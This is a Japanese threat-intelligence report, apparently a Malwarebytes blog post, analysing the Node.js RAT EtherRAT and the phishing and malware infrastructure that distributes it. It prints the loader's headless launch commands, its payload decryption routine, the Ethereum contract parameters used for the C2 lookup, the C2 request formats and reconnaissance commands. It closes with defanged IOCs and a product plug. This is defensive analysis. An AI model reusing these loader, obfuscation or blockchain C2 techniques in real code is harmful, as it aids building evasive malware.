最近の脅威ハンティング活動において、不審なホームページを持つウェブサイトからEtherRATマルウェアが配布されていることを発見しました。このホームページを起点に調査を進めたところ、マルウェア・悪意ある文書・リモートデスクトップソフトウェア・フィッシングページを配布する大規模な悪性インフラの存在が明らかになりました。
EtherRATはNode.jsで開発されたRAT(遠隔操作型トロイの木馬)であり、攻撃者はマシンを完全に掌握し、C2(コマンド&コントロール)サーバーから返される任意のコードを実行することができます。このマルウェアはEthereumブロックチェーンを利用してC2サーバーのアドレスを取得するため、名称に「Ether」が含まれています。EtherRATは通常、MSIファイル、PowerShellスクリプト、またはJavaScriptスクリプトを通じて配布されます。
EtherRATを配布するオープンディレクトリ:調査の発端
脅威ハンティングの過程で、MSIインストーラーとPowerShellスクリプトを通じてEtherRATを配布するオープンディレクトリを発見しました。分析したケースでは、PowerShellスクリプトとMSIインストーラーはいずれも「/install」フォルダーから配布されており、バージョン番号はv1からv10まで順番に付けられていました。

このウェブサイトに表示されたホームページが調査チームの注目を引き、キャンペーンのさらなる調査へとつながりました。

EtherRATの配布に関連するドメインおよび関連IPアドレスを分析した結果、ハッキングをテーマにした類似のホームページが複数存在することを確認しました。これらは、フィッシング・リモートコントロールソフトウェア・その他のマルウェアを配布するより大規模な配布チェーンの一部である可能性が高いとみられます。これらのウェブサイトには通常、マルウェアやフィッシング関連のコンテンツが入った複数のフォルダーが存在し、表示される内容は特定の感染チェーンによって異なります。
同一IPアドレスに紐付く異なるウェブサイトが、過去には偽企業のページやデフォルトテンプレートを表示していたケースもあります。こうした新たなページの使用は、自動スキャナーや研究者による検出を困難にするための手段である可能性があります。以下は発見されたホームページの一部です。


EtherRATは興味深いRATです。コード量が少ないにもかかわらず、C2サーバーから返される任意のコードを実行できる点が特徴的です。さらに、Ethereumブロックチェーンを使ってC2サーバーを取得する仕組みにより、インフラの強制停止に対する耐性も高まっています。
EtherRATの技術分析
検出されたウェブサイトは通常、v1.msi、v2.ps1といったバージョン名が付いたMSIファイルまたはPowerShellスクリプトを配布しています。
MSIローダー
MSIファイル「v9.msi」には、以下の3つのコンポーネントが含まれています。
| MSIファイル名 | 説明 |
| KmPuGimn.cmd | BATランチャー |
| cDQMlQAru0.xml | 第1段階のJScriptローダー |
| MRaQCipBIZeiZNx.log | 暗号化されたEtherRAT |
MSIを実行すると、まず「KmPuGimn.cmd」ファイルが起動します。
conhost --headless cmd /c "KmPuGimn.cmd"
この難読化されたBATファイルは以下の処理を順に実行します。
- %LOCALAPPDATA%内のランダムなフォルダーにその他のファイルを展開します。
- 以下のコマンドで自身を再実行します。
%SystemRoot%\System32\conhost.exe –headless %SystemRoot%\System32\cmd.exe /c call "C:\Users\{user}\AppData\Local\{random_path}\KmPuGimn.cmd" nKWa
- 「where node」コマンドを実行し、既存のNode.jsインストールを探します。
- Node.jsが見つからない場合はダウンロードします。
- 「curl -sLo」を使って公式サイトからNode.jsをダウンロードします。
- 「tar -xf」でインストールディレクトリに展開します。
- 展開したディレクトリを「28Q75h」にリネームします。
- 「MRaQCipBIZeiZNx.log」と「cDQMlQAru0.xml」の両方が存在するまでループし、その後以下を実行します。
conhost.exe –headless C:\Users\{user}\AppData\Local\{random_path}\{random_path}\node.exe cDQMlQAru0.xml
実行される「cDQMlQAru0.xml」はローダーであり、XOR関数で埋め込みコードを復号した後、「vm.compileFunction」で実行します。
decrypted[i] = (encrypted[i] - key[i % key.length] - i) & 0xFF

復号されたコードは以下の処理を行います。
- node.exeを「
C:\Users\{user}\AppData\Local\{random_path}\{random_path}\_MJlLlt5.exe」にコピーします。 - 「conhost.exe –headless」を使って永続化のためのレジストリキーを追加します。
- 「MRaQCipBIZeiZNx.log」を復号し、「_MJlLlt5.exe」のstdinを通じて実行します。
復号アルゴリズムは、XOR・バイトローテーション・アキュムレーターを組み合わせたカスタムのストリーム型デコードルーティンです。
for e in range(len(data)):
byte = data[e]
g = prev
prev = byte
byte = (byte - g) & 0xff
byte = byte ^ n[e % len(n)] ^ ((e >> 8) & 0xff)
byte = si[byte]
byte = (byte - k[e % len(k)]) & 0xff
result[e] = byte
最終段階はEtherRATの展開です。EtherRATは攻撃者に以下の機能を提供します。
- C2サーバーから受信した任意のJavaScriptコードを実行します。これにより、新たなコマンドの実行、ファイルやフォルダーへの操作、レジストリの変更、データの外部流出が可能になります。
- Ethereumブロックチェーンを通じて新たなC2サーバーを取得します。
- 自身を再難読化します。
- ログを「svchost.log」に保存します。

EtherRATはEthereumの「eth_call」JSON-RPCメソッドを使用し、Ethereumメインネット上のスマートコントラクトからアクティブなC2のURLを取得します。
今回のケースにおけるブロックチェーンのパラメーターは以下のとおりです。
- コントラクト:
0x88ea8d0bc4146f0a018e989df3fd089ac48f9a58 - 関数セレクター:
0x7d434425 - 引数:
0xf6a772e163e64b07f658946f863b5d457d88f9f0

C2サーバーのエンドポイント取得のために接続されるURLは以下のとおりです。
- mainnet[.]gateway[.]tenderly[.]co
- rpc[.]flashbots[.]net/fast
- rpc[.]mevblocker[.]io
- eth-mainnet[.]public[.]blastapi[.]io
- ethereum-rpc[.]publicnode[.]com
- eth[.]drpc[.]org
- eth[.]merkle[.]io
ポーリングリクエストには、コード内で定義されたパラメーターに基づくランダム化されたURLパターンが使用されます。
GET /api/<4-byte-hex>/<victim-uuid>/<4-byte-hex>.<ext>?<param>=<build-id>
X-Bot-Server: <c2_url>
分析したサンプルにおけるパラメーターは以下のとおりです。
- ビルドID: 「
6f816d80-0d6c-4384-9cd6-6b79965fc08f」 - ext: 「png」「jpg」「gif」「css」「ico」「webp」からランダムに選択されます。
- param: 「id」「token」「key」「b」「q」「s」「v」からランダムに選択されます。
起動後、RATは自身のソースコードをC2サーバーへ送信します。C2サーバーは新たに難読化されたバージョンのスクリプトを返し、それがディスクに書き戻されます。これにより、実行のたびに異なるファイルハッシュが生成されます。
POST /api/[REOBF_PATH]/<victim-uuid>
Body: { "code": "<current_script_contents>", "build": "<build_id>" }
EtherRAT実行後、環境を調査するためのさまざまなcmd.exeアクティビティが確認されました。主な例は以下のとおりです。
powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name"reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuidpowershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"cmd.exe /d /s /c "net session"

PowerShellローダー
PowerShellローダーの動作は、MSIインストーラーのJSスクリプトの最終段階と非常によく似ています。
- Node.jsが存在しない場合はダウンロードします。
- 必要なディレクトリを作成します。
- カスタム復号アルゴリズムでEtherRATを復号します。
- conhost.exeとNode.jsを使用して、復号されたEtherRATペイロードを実行します。
これらのウェブサイトでホストされているPowerShellローダーにはいくつかのバリアントが確認されており、分析したスクリプト間で関数名や復号関数が異なっていました。

悪性インフラの追跡
「ハッキングテーマ」のページを持つ複数のウェブサイトを分析したところ、過去に多くのサイトが特定のパスに複数のフィッシングページをホストしていたことが判明しました。代表的な例は以下のとおりです。
- /zht/sharep-redirect.html
- /bl/me.php
- /t/teams
- /teams/Windows/invite.php
これらのドメインとIPアドレスは、マルウェア・フィッシング・悪意ある文書・リモートソフトウェアを配布するより大規模なインフラの一部である可能性が高いと考えられます。これらのインフラは複数の脅威アクターが共有しており、それぞれが特定のキャンペーンに応じて異なるURLエンドポイントを有効化している可能性があります。
興味深いことに、この悪性インフラに関連するドメインの多くは、過去に「Bulletproof Infrastructure(弾丸プルーフインフラ)」サービスに関するHTMLページを表示していたことも確認されました。
これらのフィッシングキャンペーンは通常、PDFやExcelファイルなどの添付ファイルを含むメールから始まります。これらの文書はユーザーに対し、別の文書を閲覧するためにリンクをクリックするよう求める内容になっています。以下は、メールに添付されたフィッシング文書の2つの例です。

これらのフィッシングページは通常、ユーザーにメールアドレスの入力を求めた後、感染チェーンを継続してフィッシングページやマルウェアページへと誘導します。以下は、悪性インフラ内で検出されたフィッシングページの一部です。

設定ミスが露出させたフィッシングキット
悪性ウェブサイトの追跡中に、キャンペーンで使用されるフィッシングキットの一部が含まれたオープンディレクトリを発見しました。

このオープンディレクトリには、フィッシングキャンペーンに関連するコードやページが格納された複数のフォルダーが含まれていました。

また、一部のドメインでは設定ミスにより「cl.zip」のダウンロードが可能な状態になっており、このファイルには「URLクローカー」ページのソースコードが含まれていました。

侵害の痕跡(IOC)
IPアドレス
82[.]165[.]65[.]244:悪性インフラ
185[.]221[.]216[.]121:悪性インフラ
43[.]163[.]233[.]166:悪性インフラ
40[.]160[.]238[.]30:悪性インフラ
159[.]89[.]227[.]204:悪性インフラ
57[.]128[.]31[.]168:悪性インフラ
ドメイン
ivorilla[.]cloud:EtherRAT配布
mx[.]nrlwz[.]com:EtherRAT配布
dn[.]eyqwj[.]com:EtherRAT配布
bi[.]mkrjcsw[.]com:EtherRAT配布
dorqen[.]casa:EtherRAT配布
kelvra[.]club:EtherRAT配布
cambioefectivo[.]com:EtherRAT C2
vabelles[.]com:EtherRAT C2
tranzed[.]org:EtherRAT C2
kibrisarazi[.]com:EtherRAT C2
aravisblog[.]com:EtherRAT C2
publicspeakingtip[.]org:EtherRAT C2
謝辞
- SharePoint参考情報:https://ironscales.com/threat-intelligence/no-macro-xlsx-shared-strings-aitm-redirect-credential-harvest
脅威が被害をもたらす前に防ぎましょう。
Malwarebytes Browser Guardはフィッシングページや悪意あるサイトを自動的にブロックします。無料で、ワンクリックでインストールできます。ブラウザに追加する →